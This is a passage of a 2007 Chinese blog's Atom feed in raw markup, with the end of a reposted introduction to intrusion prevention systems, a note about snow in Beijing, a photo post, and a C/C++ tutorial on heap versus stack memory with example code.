/&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;入侵特征库：高质量的入侵特征库是&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;高效运行的必要条件，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;还应该定期升级入侵特征库，并快速应用到所有传感器。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;高效处理能力：&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;必须具有高效处理数据包的能力，对整个网络性能的影响保持在最低水平。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;面临的挑战&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;技术需要面对很多挑战，其中主要有三点：一是单点故障，二是性能瓶颈，三是误报和漏报。设计要求&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;必须以嵌入模式工作在网络中，而这就可能造成瓶颈问题或单点故障。如果&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IDS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;出现故障，最坏的情况也就是造成某些攻击无法被检测到，而嵌入式的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;设备出现问题，就会严重影响网络的正常运转。如果&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;出现故障而关闭，用户就会面对一个由&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;造成的拒绝服务问题，所有客户都将无法访问企业网络提供的应用。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;即使&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;设备不出现故障，它仍然是一个潜在的网络瓶颈，不仅会增加滞后时间，而且会降低网络的效率，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;必须与数千兆或者更大容量的网络流量保持同步，尤其是当加载了数量庞大的检测特征库时，设计不够完善的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;嵌入设备无法支持这种响应速度。绝大多数高端&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;产品供应商都通过使用自定义硬件（&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;FPGA&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;、网络处理器和&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;ASIC&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;芯片）来提高&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的运行效率。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;误报率和漏报率也需要&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;认真面对。在繁忙的网络当中，如果以每秒需要处理十条警报信息来计算，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;每小时至少需要处理&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; 36,000 &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;条警报，一天就是&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; 864,000 &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;条。一旦生成了警报，最基本的要求就是&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;能够对警报进行有效处理。如果入侵特征编写得不是十分完善，那么&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;"&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;误报&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;"&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;就有了可乘之机，导致合法流量也有可能被意外拦截。对于实时在线的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;来说，一旦拦截了&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;"&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;攻击性&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;"&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;数据包，就会对来自可疑攻击者的所有数据流进行拦截。如果触发了误报警报的流量恰好是某个客户订单的一部分，其结果可想而知，这个客户整个会话就会被关闭，而且此后该客户所有重新连接到企业网络的合法访问都会被&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;"&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;尽职尽责&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;"&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;拦截。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;厂商采用各种方式加以解决。一是综合采用多种检测技术，二是采用专用硬件加速系统来提高&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的运行效率。尽管如此，为了避免&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;重蹈&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IDS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;覆辙，厂商对&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的态度还是十分谨慎的。例如，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NAI&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;提供的基于网络的入侵防护设备提供多种接入模式，其中包括旁路接入方式，在这种模式下运行的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;实际上就是一台纯粹的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IDS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;设备，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NAI&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;希望提供可选择的接入方式来帮助用户实现从旁路监听向实时阻止攻击的自然过渡。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的不足并不会成为阻止人们使用&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的理由，因为安全功能的融合是大势所趋，入侵防护顺应了这一潮流。对于用户而言，在厂商提供技术支持的条件下，有选择地采用&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;，仍不失为一种应对攻击的理想选择。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-88084370976068567?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/88084370976068567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=88084370976068567' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/88084370976068567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/88084370976068567'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/04/ips.html' title='ips 入门到精通（转自黑客防线）'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8572139064719801117</id><published>2007-03-04T23:24:00.000+08:00</published><updated>2007-03-04T23:40:23.973+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>下雪了，北京！</title><content type='html'>暖和了一个冬天没怎么下雪，居然三月份了，还下这么大的雪！还刮这么大的风，把电都刮听了。。。&lt;br /&gt;&lt;br /&gt;今天过大年，本想出去逛逛的，结果风太大骑不动 。。。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8572139064719801117?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8572139064719801117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8572139064719801117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8572139064719801117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8572139064719801117'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/03/blog-post.html' title='下雪了，北京！'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-3220395503654803175</id><published>2007-02-15T14:49:00.000+08:00</published><updated>2007-02-15T16:39:31.508+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>看过如此风光的床没？</title><content type='html'>1、&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_58202041317431873202613.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_58202041317431873202613.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;2、&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_58202041317437981131914.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_58202041317437981131914.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;3、&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_59202041317432692227615.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_59202041317432692227615.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;4、&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_59202041317438701526316.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_59202041317438701526316.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;5、&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_00202041317443513032817.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://news.xinhuanet.com/forum/2007-02/15/xinsrc_00202041317443513032817.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-3220395503654803175?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://news.xinhuanet.com/forum/2007-02/15/content_5735682.htm' title='看过如此风光的床没？'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/3220395503654803175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=3220395503654803175' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3220395503654803175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3220395503654803175'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_3612.html' title='看过如此风光的床没？'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-657992652544917692</id><published>2007-02-15T14:28:00.000+08:00</published><updated>2007-02-15T14:29:39.327+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Develop'/><category scheme='http://www.blogger.com/atom/ns#' term='C_C++'/><title type='text'>堆栈，堆栈，堆和栈的区别</title><content type='html'>&lt;a href="http://blog.csdn.net/yueyahe/archive/2006/04/18/667260.aspx"&gt;&lt;/a&gt;堆和栈的区别&lt;br /&gt;一、预备知识—程序的内存分配&lt;br /&gt;一个由c/C++编译的程序占用的内存分为以下几个部分&lt;br /&gt;1、栈区（stack）— 由编译器自动分配释放 ，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。&lt;br /&gt;2、堆区（heap） — 一般由程序员分配释放， 若程序员不释放，程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表，呵呵。&lt;br /&gt;3、全局区（静态区）（static）—，全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域， 未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。 - 程序结束后有系统释放&lt;br /&gt;4、文字常量区—常量字符串就是放在这里的。 程序结束后由系统释放&lt;br /&gt;5、程序代码区—存放函数体的二进制代码。&lt;br /&gt;二、例子程序&lt;br /&gt;这是一个前辈写的，非常详细&lt;br /&gt;//main.cpp&lt;br /&gt;int a = 0; 全局初始化区&lt;br /&gt;char *p1; 全局未初始化区&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;int b; 栈&lt;br /&gt;char s[] = "abc"; 栈&lt;br /&gt;char *p2; 栈&lt;br /&gt;char *p3 = "123456"; 123456\0在常量区，p3在栈上。&lt;br /&gt;static int c =0； 全局（静态）初始化区&lt;br /&gt;p1 = (char *)malloc(10);&lt;br /&gt;p2 = (char *)malloc(20);&lt;br /&gt;分配得来得10和20字节的区域就在堆区。&lt;br /&gt;strcpy(p1, "123456"); 123456\0放在常量区，编译器可能会将它与p3所指向的"123456"优化成一个地方。&lt;br /&gt;}&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;二、堆和栈的理论知识&lt;br /&gt;2.1申请方式&lt;br /&gt;stack:&lt;br /&gt;由系统自动分配。 例如，声明在函数中一个局部变量 int b; 系统自动在栈中为b开辟空间&lt;br /&gt;heap:&lt;br /&gt;需要程序员自己申请，并指明大小，在c中malloc函数&lt;br /&gt;如p1 = (char *)malloc(10);&lt;br /&gt;在C++中用new运算符&lt;br /&gt;如p2 = (char *)malloc(10);&lt;br /&gt;但是注意p1、p2本身是在栈中的。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.2&lt;br /&gt;申请后系统的响应&lt;br /&gt;栈：只要栈的剩余空间大于所申请空间，系统将为程序提供内存，否则将报异常提示栈溢出。&lt;br /&gt;堆：首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时，&lt;br /&gt;会 遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统，会在这块内 存空间中的首地址处记录本次分配的大小，这样，代码中的delete语句才能正确的释放本内存空间。另外，由于找到的堆结点的大小不一定正好等于申请的大 小，系统会自动的将多余的那部分重新放入空闲链表中。 &lt;/p&gt;&lt;p&gt;2.3申请大小的限制&lt;br /&gt;栈：在Windows下,栈是向低地址扩展的数据结 构，是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在WINDOWS下，栈的大小是2M（也有的说是1M，总之是 一个编译时就确定的常数），如果申请的空间超过栈的剩余空间时，将提示overflow。因此，能从栈获得的空间较小。&lt;br /&gt;堆：堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.4申请效率的比较：&lt;br /&gt;栈由系统自动分配，速度较快。但程序员是无法控制的。&lt;br /&gt;堆是由new分配的内存，一般速度比较慢，而且容易产生内存碎片,不过用起来最方便.&lt;br /&gt;另外，在WINDOWS下，最好的方式是用VirtualAlloc分配内存，他不是在堆，也不是在栈是直接在进程的地址空间中保留一快内存，虽然用起来最不方便。但是速度快，也最灵活。 &lt;/p&gt;&lt;p&gt;2.5堆和栈中的存储内容&lt;br /&gt;栈： 在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的C编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。&lt;br /&gt;当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。&lt;br /&gt;堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容有程序员安排。 &lt;/p&gt;&lt;p&gt;2.6存取效率的比较 &lt;/p&gt;&lt;p&gt;char s1[] = "aaaaaaaaaaaaaaa";&lt;br /&gt;char *s2 = "bbbbbbbbbbbbbbbbb";&lt;br /&gt;aaaaaaaaaaa是在运行时刻赋值的；&lt;br /&gt;而bbbbbbbbbbb是在编译时就确定的；&lt;br /&gt;但是，在以后的存取中，在栈上的数组比指针所指向的字符串(例如堆)快。&lt;br /&gt;比如：&lt;br /&gt;#include&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;char a = 1;&lt;br /&gt;char c[] = "1234567890";&lt;br /&gt;char *p ="1234567890";&lt;br /&gt;a = c[1];&lt;br /&gt;a = p[1];&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;对应的汇编代码&lt;br /&gt;10: a = c[1];&lt;br /&gt;00401067 8A 4D F1 mov cl,byte ptr [ebp-0Fh]&lt;br /&gt;0040106A 88 4D FC mov byte ptr [ebp-4],cl&lt;br /&gt;11: a = p[1];&lt;br /&gt;0040106D 8B 55 EC mov edx,dword ptr [ebp-14h]&lt;br /&gt;00401070 8A 42 01 mov al,byte ptr [edx+1]&lt;br /&gt;00401073 88 45 FC mov byte ptr [ebp-4],al&lt;br /&gt;第一种在读取时直接就把字符串中的元素读到寄存器cl中，而第二种则要先把指针值读到edx中，在根据edx读取字符，显然慢了。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.7小结：&lt;br /&gt;堆和栈的区别可以用如下的比喻来看出：&lt;br /&gt;使用栈就象我们去饭馆里吃饭，只管点菜（发出申请）、付钱、和吃（使用），吃饱了就走，不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作，他的好处是快捷，但是自由度小。&lt;br /&gt;使用堆就象是自己动手做喜欢吃的菜肴，比较麻烦，但是比较符合自己的口味，而且自由度大。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;windows进程中的内存结构&lt;/p&gt;&lt;p&gt;&lt;br /&gt;在阅读本文之前，如果你连堆栈是什么多不知道的话，请先阅读文章后面的基础知识。 &lt;/p&gt;&lt;p&gt;接触过编程的人都知道，高级语言都能通过变量名来访问内存中的数据。那么这些变量在内存中是如何存放的呢？程序又是如何使用这些变量的呢？下面就会对此进行深入的讨论。下文中的C语言代码如没有特别声明，默认都使用VC编译的release版。 &lt;/p&gt;&lt;p&gt;首先，来了解一下 C 语言的变量是如何在内存分部的。C 语言有全局变量(Global)、本地变量(Local)，静态变量(Static)、寄存器变量(Regeister)。每种变量都有不同的分配方式。先来看下面这段代码： &lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt; &lt;/stdio.h&gt;&lt;/p&gt;&lt;p&gt;int g1=0, g2=0, g3=0; &lt;/p&gt;&lt;p&gt;int main()&lt;br /&gt;{&lt;br /&gt;static int s1=0, s2=0, s3=0;&lt;br /&gt;int v1=0, v2=0, v3=0; &lt;/p&gt;&lt;p&gt;//打印出各个变量的内存地址 &lt;/p&gt;&lt;p&gt;printf("0x%08x\n",&amp;v1); //打印各本地变量的内存地址&lt;br /&gt;printf("0x%08x\n",&amp;v2);&lt;br /&gt;printf("0x%08x\n\n",&amp;v3);&lt;br /&gt;printf("0x%08x\n",&amp;g1); //打印各全局变量的内存地址&lt;br /&gt;printf("0x%08x\n",&amp;g2);&lt;br /&gt;printf("0x%08x\n\n",&amp;g3);&lt;br /&gt;printf("0x%08x\n",&amp;s1); //打印各静态变量的内存地址&lt;br /&gt;printf("0x%08x\n",&amp;s2);&lt;br /&gt;printf("0x%08x\n\n",&amp;s3);&lt;br /&gt;return 0;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;编译后的执行结果是： &lt;/p&gt;&lt;p&gt;0x0012ff78&lt;br /&gt;0x0012ff7c&lt;br /&gt;0x0012ff80 &lt;/p&gt;&lt;p&gt;0x004068d0&lt;br /&gt;0x004068d4&lt;br /&gt;0x004068d8 &lt;/p&gt;&lt;p&gt;0x004068dc&lt;br /&gt;0x004068e0&lt;br /&gt;0x004068e4 &lt;/p&gt;&lt;p&gt;输 出的结果就是变量的内存地址。其中v1,v2,v3是本地变量，g1,g2,g3是全局变量，s1,s2,s3是静态变量。你可以看到这些变量在内存是连 续分布的，但是本地变量和全局变量分配的内存地址差了十万八千里，而全局变量和静态变量分配的内存是连续的。这是因为本地变量和全局/静态变量是分配在不 同类型的内存区域中的结果。对于一个进程的内存空间而言，可以在逻辑上分成3个部份：代码区，静态数据区和动态数据区。动态数据区一般就是“堆栈”。“栈 (stack)”和“堆(heap)”是两种不同的动态数据区，栈是一种线性结构，堆是一种链式结构。进程的每个线程都有私有的“栈”，所以每个线程虽然 代码一样，但本地变量的数据都是互不干扰。一个堆栈可以通过“基地址”和“栈顶”地址来描述。全局变量和静态变量分配在静态数据区，本地变量分配在动态数 据区，即堆栈中。程序通过堆栈的基地址和偏移量来访问本地变量。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;├———————┤低端内存区域&lt;br /&gt;│ …… │&lt;br /&gt;├———————┤&lt;br /&gt;│ 动态数据区 │&lt;br /&gt;├———————┤&lt;br /&gt;│ …… │&lt;br /&gt;├———————┤&lt;br /&gt;│ 代码区 │&lt;br /&gt;├———————┤&lt;br /&gt;│ 静态数据区 │&lt;br /&gt;├———————┤&lt;br /&gt;│ …… │&lt;br /&gt;├———————┤高端内存区域 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;堆 栈是一个先进后出的数据结构，栈顶地址总是小于等于栈的基地址。我们可以先了解一下函数调用的过程，以便对堆栈在程序中的作用有更深入的了解。不同的语言 有不同的函数调用规定，这些因素有参数的压入规则和堆栈的平衡。windows API的调用规则和ANSI C的函数调用规则是不一样的，前者由被调函 数调整堆栈，后者由调用者调整堆栈。两者通过“__stdcall”和“__cdecl”前缀区分。先看下面这段代码： &lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt; &lt;/stdio.h&gt;&lt;/p&gt;&lt;p&gt;void __stdcall func(int param1,int param2,int param3)&lt;br /&gt;{&lt;br /&gt;int var1=param1;&lt;br /&gt;int var2=param2;&lt;br /&gt;int var3=param3;&lt;br /&gt;printf("0x%08x\n",¶m1); //打印出各个变量的内存地址&lt;br /&gt;printf("0x%08x\n",¶m2);&lt;br 